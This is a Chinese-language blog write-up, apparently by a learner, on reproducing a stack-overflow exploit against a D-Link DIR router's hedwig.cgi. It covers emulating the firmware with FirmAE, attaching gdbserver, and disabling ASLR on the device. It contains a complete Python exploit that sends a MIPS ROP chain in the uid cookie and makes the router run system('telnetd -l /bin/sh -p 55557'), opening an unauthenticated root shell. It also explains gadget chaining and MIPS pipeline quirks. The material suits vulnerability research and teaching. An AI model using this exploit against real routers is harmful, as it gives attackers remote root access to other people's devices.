前言

也是学上IoT了。

https://www.cnblogs.com/hetianlab/p/18097167

https://bbs.kanxue.com/thread-272318.htm

https://xz.aliyun.com/news/15948

模拟仿真

使用FirmAE进行仿真,基本是傻瓜式操作

安装FirmAE

https://github.com/pr0v3rbs/FirmAE

安装过程不再赘述

之后

./download.sh
./install.sh
./init.sh

运行

sudo ./run.sh -d dlink ../../dir/dir.bin

要注意得在frimAE文件夹下使用

其他使用

-c check

sudo ./run.sh -c <brand> <firmware>

-r run

sudo ./run.sh -r <brand> <firmware>

成功的界面

成功需要等半分钟左右,可以在提示中看到192.168.0.1开启了服务

[*] ../../dir/dir.bin emulation start!!!
[*] extract done!!!
[*] get architecture done!!!
[*] ../../dir/dir.bin already succeed emulation!!!

[IID] 1
[MODE] debug
[+] Network reachable on 192.168.0.1!
[+] Web service on 192.168.0.1
[+] Run debug!
Creating TAP device tap1_0...
Set 'tap1_0' persistent and owned by uid 0
Bringing up TAP device...
Starting emulation of firmware... 192.168.0.1 true true 15.460978138 41.794008081
[*] firmware - dir
[*] IP - 192.168.0.1
[*] connecting to netcat (192.168.0.1:31337)
[+] netcat connected
------------------------------
| FirmAE Debugger |
------------------------------
1. connect to socat
2. connect to shell
3. tcpdump
4. run gdbserver
5. file transfer
6. exit
>

我们可以访问192.168.0.1测试,假如出来的是正常的路由器登录界面,说明仿真确实成功了。

------------------------------
| FirmAE Debugger |
------------------------------
1. connect to socat
2. connect to shell
3. tcpdump
4. run gdbserver
5. file transfer
6. exit
>

这个界面是debugger姐妹,我们主要使用2和4命令。

2命令进入shell,然后查看进程。

> 2
Trying 192.168.0.1...
Connected to 192.168.0.1.
Escape character is '^]'.

/ # ps |grep 'httpd'
2484 root 1564 S httpd -f /var/run/httpd.conf
4541 root 656 S grep httpd

exit退出shell

之后4命令,输入2484

[+] target pid : 2484
[+] gdbserver at 192.168.0.1:1337 attach on 2484
[+] run "target remote 192.168.0.1:1337" in host gdb-multiarch


------------------------------
| FirmAE Debugger |
------------------------------
1. connect to socat
2. connect to shell
3. tcpdump
4. run gdbserver
5. file transfer
6. exit
>

可以看到已经成功开启gdbserver了

之后可以gdb调试

set architecture mips
set follow-fork-mode child
set detach-on-fork off
b _start
catch exec
target remote 192.168.0.1:1337

保存为gdb_script然后

gdb-multiarch -x  gdb_script

接下来就可以愉快调试了。

要注意本次漏洞复现的真机环境中是没有堆栈地址随机化的,因此需要在shell关闭

echo "0" >> /proc/sys/kernel/randomize_va_space

exp

import http.client
from pwncli import *
conn = http.client.HTTPConnection("192.168.0.1")
libc_base=0x77f34000
system=0x00053200+libc_base
#0x000158c8 : move $t9, $s5 ; jalr $t9 ; addiu $s0, $s0, 1
'''
.text:000159CC 10 00 B5 27 addiu $s5, $sp, 0x14C-0x13C
.text:000159D0 21 28 60 02 move $a1, $s3
.text:000159D4 21 30 20 02 move $a2, $s1
.text:000159D8 21 C8 00 02 move $t9, $s0
.text:000159DC 09 F8 20 03 jalr $t9 ; mempcpy
.text:000159E0 21 20 A0 02 move $a0, $s5
'''

offset=1043-0x24
gadget1=0x000158c8+libc_base
gadget2=0x000159cc+libc_base
ra=gadget1
s5=gadget2
s0=system-1
payload=b'a'*offset+p32(s0)+p32(0x61616161)*4+p32(s5)+p32(0x61616161)*3+p32(ra)
payload=payload
payload+=b'a'*0x10
payload+=b'telnetd -l /bin/sh -p 55557 & ls & '
#print(payload)
payload='aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xffq\xf8waaaaaaaaaaaaaaaa\xcc\x99\xf4waaaaaaaaaaaa\xc8\x98\xf4waaaaaaaaaaaaaaaatelnetd -l /bin/sh -p 55557'
#payload=payload.decode()
# 设置请求头
headers = {
'Content-Length': '21',
'accept-Encoding': 'deflate',
'Connection': 'close',
'User-Agent': 'MozillIay4.0 (compatible MSIE 8.07 Winaows NT 6.17 WOW647 Triaent/4.07 SLCC27 -NET CDR 2.0.50727) -NET CLR 3.5.307297 .NET CILR 3.90.307297 Meaia CenteLr PC 6.07 .NET4.0C7 -NET4.0E)',
'Host': '192.168.0.1',
'Cookie':'uid='+payload,
'Content-Type': 'application/x-www-form-urlencoded'
}
# 发送POST请求
conn.request("POST", "/hedwig.cgi", body="password=123&bid=3Rd4", headers=headers)
# 获取响应
response = conn.getresponse()
# 打印响应状态码和响应内容
print(response.status, response.read().decode())
# 关闭连
conn.close()

流水线指令集相关特性

首先举例说说 “流水线效应” ,最常见的就是跳转指令(如jalr)导致的分支延迟效应,任何一个分支跳转语句后面的那条语句叫做分支延迟槽,当它跳转指令填充好跳转地址,还没来得及跳转过去的时候,跳转指令的下一条指令(分支延迟槽)就已经执行了,可以认为是它会先执行跳转指令的后一条指令,然后再跳转

再来说说 “缓存不一致性” 的问题,指的是:指令缓存区(Instruction Cache)和数据缓存区(Data Cache)两者的同步需要一个时间来同步,常见的就是,比如我们将shellcode写入栈上,此时这块区域还属于数据缓存区,如果我们此时像x86_64架构一样,直接跳转过去执行,就会出现问题,因此,我们需要调用sleep函数,先停顿一段时间,给它时间从数据缓存区转成指令缓存区,然后再跳转过去,才能成功执行。当然,有时候可能直接跳转过去也不会出错,这原因就比较多了,可能是由于两个缓冲区已经有足够时间同步,也有可能是和硬件层面有关的一些原因所导致的,但是保险来说,还是最好sleep一下。

举例流水线效应:

move    $a3, $v0
jalr $t9 ; sprintf
move $a0, $s0

可以认为顺序是 1 -> 3->2语句

rop

mips没有 ret 这种指令,因而其实构造rop变麻烦了很多。

看到main函数返回时的汇编代码

.text:00409A24 10 00 BC 8F                   lw      $gp, 0x4C0+var_4B0($sp)
.text:00409A24
.text:00409A28
.text:00409A28 loc_409A28: # CODE XREF: hedwigcgi_main:loc_409A0C↑j
.text:00409A28 E4 04 BF 8F lw $ra, 0x4C0+var_s24($sp)
.text:00409A2C 21 10 E0 02 move $v0, $s7
.text:00409A30 E0 04 BE 8F lw $fp, 0x4C0+var_s20($sp)
.text:00409A34 DC 04 B7 8F lw $s7, 0x4C0+var_s1C($sp)
.text:00409A38 D8 04 B6 8F lw $s6, 0x4C0+var_s18($sp)
.text:00409A3C D4 04 B5 8F lw $s5, 0x4C0+var_s14($sp)
.text:00409A40 D0 04 B4 8F lw $s4, 0x4C0+var_s10($sp)
.text:00409A44 CC 04 B3 8F lw $s3, 0x4C0+var_sC($sp)
.text:00409A48 C8 04 B2 8F lw $s2, 0x4C0+var_s8($sp)
.text:00409A4C C4 04 B1 8F lw $s1, 0x4C0+var_s4($sp)
.text:00409A50 C0 04 B0 8F lw $s0, 0x4C0+var_s0($sp)
.text:00409A54 08 00 E0 03 jr $ra
.text:00409A58 E8 04 BD 27 addiu $sp, 0x4E8

假如能够栈溢出,我们可以控制s0-s7以及ra这几个寄存器。

之后需要找gadget片段来通过这几个寄存器再控制程序控制流。

本次复现使用的就是先gadget1->gadget2->system(”telnetd -l /bin/sh -p 55557“)

由于sprintf会截断\x00,而system地址中有\x00,因此我们可以利用gadget1来复原system地址。

gadget2则是把栈上的地址给到a0,然后把控制流交给system。

中间可以把几个gadget的地址给到几个保存寄存器,然后利用gadget把保存寄存器再转移到t9执行。